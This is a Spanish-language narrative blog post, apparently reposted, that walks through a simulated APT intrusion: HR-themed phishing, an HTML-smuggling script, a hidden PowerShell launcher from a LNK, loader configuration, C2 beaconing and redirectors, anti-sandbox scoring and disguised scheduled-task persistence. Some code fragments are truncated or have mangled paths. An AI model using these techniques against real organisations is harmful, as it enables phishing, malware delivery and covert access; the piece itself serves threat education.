Anatomía de una APT simulada. Parte 2 – La semilla, el anzuelo y el primer latido
No prometía bonos. No amenazaba con cerrar cuentas. No decía «URGENTE» en mayúsculas. El asunto era seco, administrativo, casi invisible: «Actualización requerida: Portal de beneficios 2026»
En IberLogix, nadie quería leer otro correo de RRHH. Precisamente por eso funcionó.
El mensaje decía que, tras la integración de TransIber Norte, todos los empleados debían revisar sus beneficios antes del cierre mensual. El enlace apuntaba a:
https://beneficios-iberlogix[.]com/portal/revision
El dominio era falso. El certificado TLS era válido. El diseño copiaba el portal interno con suficiente fidelidad como para no activar la intuición de un empleado cansado. La landing no descargaba malware de inmediato. Primero clasificaba.
El phishing como embudo técnico
Email delivery
-> link click
-> browser fingerprint
-> tenant/user validation
-> credential prompt or payload path
-> execution
-> loader validation
-> C2 enrollment
El servidor de phishing no entregaba lo mismo a todos. Revisaba:
IP ASN
GeoIP aproximado
User-Agent
Accept-Language
Timezone via JavaScript
Screen size
Referrer
Known corporate CIDR
Email token in URL
Si el visitante parecía una sandbox, investigador o servicio de análisis, veía una pagina de mantenimiento:
/portal/revision?id=8f4a2c9b-emp-3941
Ese token no era solo tracking. Estaba asociado a un registro:
{
"campaign": "black_orchard",
"recipient": "marta.solis@iberlogix.example",
"department": "finance",
"seniority": "manager",
"language": "es-ES",
"payload_path": "html_smuggling",
"priority": 8
}
La campaña tenía tres rutas:
Ruta A: Captura de credenciales M365
Ruta B: Consent phishing para app maliciosa
Ruta C: Descarga de paquete local con loader
La ruta A capturaba credenciales y MFA tokens si el flujo lo permitía.
HTML smuggling: el archivo nace dentro del navegador
<script>
const b64 = "UEsDBBQAAAAI..."; // ZIP cifrado y troceado
const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
const blob = new Blob([bytes], {type: "application/zip"});
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = "Beneficios_IberLogix_2026.zip";
a.click();
</script>
El ZIP estaba protegido con una contraseña escrita en la pagina:
Clave del documento: IberLogix2026!
La contraseña no protegía la información. Protegía el payload de algunos motores automáticos que no desempaquetaban archivos cifrados en profundidad. Dentro había:
El PDF era real: un documento de beneficios copiado de materiales públicos y modificado. El `.lnk` era el ejecutable social. El usuario veía un icono de PDF, doble clickaba y el LNK lanzaba una cadena controlada.
powershell.exe -NoP -W Hidden -ExecutionPolicy Bypass -Command »
$p=$env:TEMP+’IberBenefits’;
New-Item -ItemType Directory -Force $p | Out-Null;
Copy-Item ‘.IberLogixBenefits.exe’ $p;
Copy-Item ‘.version.dll’ $p;
Start-Process ($p+’IberLogixBenefits.exe’);
Start-Process ‘.Beneficios_IberLogix_2026.pdf’
»
El usuario veía abrirse el PDF. El loader respiraba por primera vez.
SeedCrate: hacer poco, sobrevivir mucho
Sus responsabilidades:
1. Comprobar entorno
2. Desempaquetar configuración
3. Establecer canal inicial
4. Enviar telemetría mínima
5. Descargar modulo de segunda fase si procede
6. Instalar persistencia ligera solo con aprobación C2
No volcaba credenciales. No escaneaba red. No inyectaba en procesos sensibles al inicio. No intentaba privilegios. No tocaba LSASS. El primer objetivo era sobrevivir las primeras horas.
struct seed_config {
uint32_t magic;
uint16_t version;
uint16_t flags;
uint8_t campaign_id[16];
uint8_t config_nonce[12];
uint8_t encrypted_blob[];
};
El blob descifrado contenía:
{
"campaign": "black_orchard",
"profile": "iberlogix_hr",
"domains": [
"cdn-beneficios[.]com",
"static-hrsync[.]net",
"assets-portal[.]cloud"
],
"uri": ["/api/v1/sync", "/content/check", "/cdn/pixel"],
"jitter_min": 1200,
"jitter_max": 2700,
"kill_after": "2026-04-30T00:00:00Z",
"public_key": "base64-curve25519-key"
}
El primer beacon era deliberadamente aburrido:
POST /api/v1/sync HTTP/1.1
Host: cdn-beneficios[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Accept: */*
Connection: keep-alive
El cuerpo no era JSON. Era un paquete binario:
magic 4 bytes
version 2 bytes
campaign_id 16 bytes
host_id 16 bytes
nonce 12 bytes
ciphertext n bytes
tag 16 bytes
La telemetría inicial incluía:
{
"hostname": "ES-MAD-FIN-0472",
"domain": "IBERLOGIX",
"username": "msolis",
"integrity": "medium",
"os": "Windows 10 22H2",
"lang": "es-ES",
"tz": "Romance Standard Time",
"processes": ["MsMpEng.exe", "SenseIR.exe", "Teams.exe", "OneDrive.exe"],
"ip_local": "10.44.18.91",
"is_laptop": true,
"joined_domain": true
}
El C2 respondía con una decisión:
{
"action": "sleep",
"next": 1840,
"profile": "low_noise"
}
No siempre había segunda fase. Muchos hosts se descartaban. Un portátil de becario podía no valer el riesgo. Un servidor con EDR agresivo podía esperar. Una máquina de finanzas con VPN y OneDrive sincronizado subía de prioridad.
La máquina de Marta Solis, manager de finanzas regional, subió a prioridad 9.
Antianálisis sin teatro
Ejemplos:
RAM < 4 GB -> sospecha +2
CPU cores < 2 -> sospecha +1
Uptime < 10 min -> sospecha +1
No domain join -> sospecha +2
Username matches analyst/sandbox/test -> sospecha +2
Processes: procmon, x64dbg, wireshark -> sospecha +3
Recent mouse/keyboard inactivity -> sospecha +1
No corporate DNS suffix -> sospecha +2
Decisión:
score 0-2: continue
score 3-4: long sleep, reduced telemetry
score 5+: decoy mode
El decoy mode no se autodestruía dramáticamente. Abría el PDF y terminaba. En algunos casos descargaba una imagen o un archivo inocuo para confundir el análisis.
int suspicion = 0;
suspicion += check_resources();
suspicion += check_domain_context();
suspicion += check_analysis_tools();
suspicion += check_user_activity();
open_decoy_pdf();
return 0;
}
sleep_with_jitter(6 * HOURS, 14 * HOURS);
}
enroll_host();
Nighthook: el implante que escuchaba
core:
- beaconing HTTP(S)
- task queue
- file upload/download
- process execution con control de salida
- in-memory module loading
windows:
- token enumeration
- DPAPI context discovery
- browser profile discovery
- named pipe communication
- WMI/WinRM helpers
opsec:
- rate limiting
- command allowlist por rol
- operator approval gates
- self-delete
- per-host kill switch
Nighthook no permitía a cualquier operador lanzar cualquier cosa. El panel C2 imponía controles:
Operator Saltline:
allowed: view host, tag host, request persistence
denied: exec, dump, lateral
Operator Knifewall:
allowed: exec, lateral helpers, AD modules
denied: ransomware deploy
Operator Hollow:
allowed: file search, staging, exfil
denied: encrypt
Operator Nadir:
allowed: deploy encryptor only after Curator approval
Esto no era ética. Era prevención de accidentes. Un operador impulsivo podía arruinar una campana.
C2: capas, redirectores y perfiles
Victim endpoint
-> redirector CDN-like
-> regional front VPS
-> C2 application
-> operator panel behind VPN
Los redirectores filtraban por cabeceras, rutas y origen. Si el trafico no parecía implante, devolvían contenido estático:
location /api/v1/sync {
if ($http_user_agent !~* «Mozilla/5.0») { return 404; }
proxy_pass https://regional-node-3.internal;
}
root /var/www/decoy;
try_files $uri /index.html;
}
profile: iberlogix_hr_low_noise
method: POST
uris:
– /api/v1/sync
– /cdn/pixel
– /content/check
headers:
Accept: «*/*»
Content-Type: application/octet-stream
Cache-Control: no-cache
jitter:
min_seconds: 1200
max_seconds: 2700
max_body_kb: 64
working_hours_bias:
timezone: Europe/Madrid
start: «07:30»
end: «20:30»
## QA criminal: probar antes de quemar
Nebula Jackal tenia un laboratorio. No era perfecto, pero imitaba entornos corporativos:
Windows 10 / 11 workstations
Windows Server 2016 / 2019 / 2022
AD con OUs realistas
Defender for Endpoint trial
EDR comerciales pirateados o evaluaciones
M365 developer tenants
Fortinet VPN lab
Veeam Community Edition
Elastic/Splunk lab
Antes de usar SeedCrate contra IberLogix, hicieron una matriz:
Test Resultado
------------------------------------------------
ZIP password protected OK
LNK executes from Downloads OK
PDF decoy opens OK
DLL sideload path OK
Defender static Clean
Defender behavior Low signal
EDR A memory scan Suspicious at 12m
EDR B network Clean
Sandbox Any.Run Decoy mode
VirusTotal upload Prohibited internally
La regla «no VirusTotal» era absoluta. Subir muestras a servicios públicos era regalar inteligencia.
Los operadores usaban entornos propios:
.run_lab.ps1 -Profile IberLogix -EDR Defender -Payload SeedCrate
.simulate_click.ps1 -User marta.solis -Locale es-ES -VPNProfile madrid
.collect_telemetry.ps1 -Window 24h
El primer error de IberLogix
A las 09:03, SeedCrate envió el primer beacon.
A las 09:34, Magpie marcó el host:
host: ES-MAD-FIN-0472
user: IBERLOGIXmsolis
department: Finance
priority: 9
reason: finance manager, laptop, OneDrive, VPN, domain joined
next_action: deploy Nighthook, low noise
A las 11:12, Nighthook estaba instalado con persistencia ligera:
Scheduled Task:
Name: AdobeUpdateSync
Trigger: At user logon
Action: rundll32.exe "%APPDATA%AdobeCacheversion.dll",Start
User: current
El nombre no era perfecto. Era suficientemente mediocre. En empresas grandes, lo mediocre se mezcla mejor que lo brillante.
El primer día no hicieron nada mas.
Ese fue el segundo logro.
Powered by WPeMatico




